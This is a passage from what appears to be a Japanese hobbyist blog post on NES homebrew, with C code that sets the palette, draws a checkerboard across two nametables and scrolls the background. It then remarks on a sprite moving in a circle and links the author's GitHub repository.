void NesMain(void) { int i, j; byte v_stat, h_stat; byte bgx = 0, bgy = 0; const char palettebg[] = { 0x0f, 0x11, 0x21, 0x30, 0x0f, 0x11, 0x21, 0x30, 0x0f, 0x11, 0x21, 0x30, 0x0f, 0x11, 0x21, 0x30 }; while (!(*REGIST_PPU_STS & 0x80)); *REGIST_PPU_CTRL1 = 0x00; *REGIST_PPU_CTRL2 = 0x00; *REGIST_ADR = 0x3f; *REGIST_ADR = 0x00; for (i = 0; i < 16; i++) { *REGIST_GRA = *(palettebg + i); } *REGIST_ADR = 0x20; *REGIST_ADR = 0x0; v_stat = h_stat = 1; for (i = 0; i < 30; i++) { for (j = 0; j < 32; j += 4) { *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; h_stat = h_stat ? 0 : 1; } if (i % 4 == 0) { h_stat = h_stat ? 0 : 1; } } *REGIST_ADR = 0x24; *REGIST_ADR = 0x0; v_stat = h_stat = 1; for (i = 0; i < 30; i++) { for (j = 0; j < 32; j += 4) { *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; h_stat = h_stat ? 0 : 1; } if (i % 4 == 0) { h_stat = h_stat ? 0 : 1; } } *REGIST_PPU_CTRL1 = 0x0; *REGIST_PPU_CTRL2 = 0x1e; while (1) { while (!(*REGIST_PPU_STS & 0x80)); *REGIST_SCROLL = bgx; *REGIST_SCROLL = bgy; *REGIST_DMA = 0x07; bgx++; if (bgx == 255) bgx = 0; bgy++; if (bgy == 240) bgy = 0; } }
最後にスプライトを表示させて完成です。ちゃんと円を描くようにしてみました。
書き殴ったものをここにおいておきます。
GitHub - akiym/nes-circle: exapmle #1
ところでまだコントローラーを握っていませんね。まだまだ長い道のりになりそうです…。